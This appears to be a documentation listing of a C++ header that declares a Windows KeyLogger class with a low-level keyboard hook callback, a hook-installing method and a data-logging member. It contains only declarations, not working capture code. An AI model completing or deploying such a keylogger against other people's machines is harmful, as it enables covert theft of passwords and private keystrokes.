00001 00016 #ifndef KEYLOGGER_H 00017 00018 #include "DataLog.h" 00019 #include <windows.h> 00020 00021 class KeyLogger 00022 { 00023 public: 00028 KeyLogger(LogTypeName newLogType); 00029 00034 KeyLogger(DataLog &newDataLog); 00035 00039 void hookIt(void); 00040 00044 LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ); 00045 00050 static LRESULT CALLBACK LowLevelKeyboardProcWrapper( int nCode, WPARAM wParam, LPARAM lParam ); 00051 00052 00053 private: 00057 DataLog *datalog; 00058 00062 static KeyLogger *objPointer; 00063 00067 bool isCapsLock(); 00068 00074 bool logicalXOR(bool p, bool q); 00075 }; 00076 00077 #define KEYLOGGER_H 00078 #endif 00079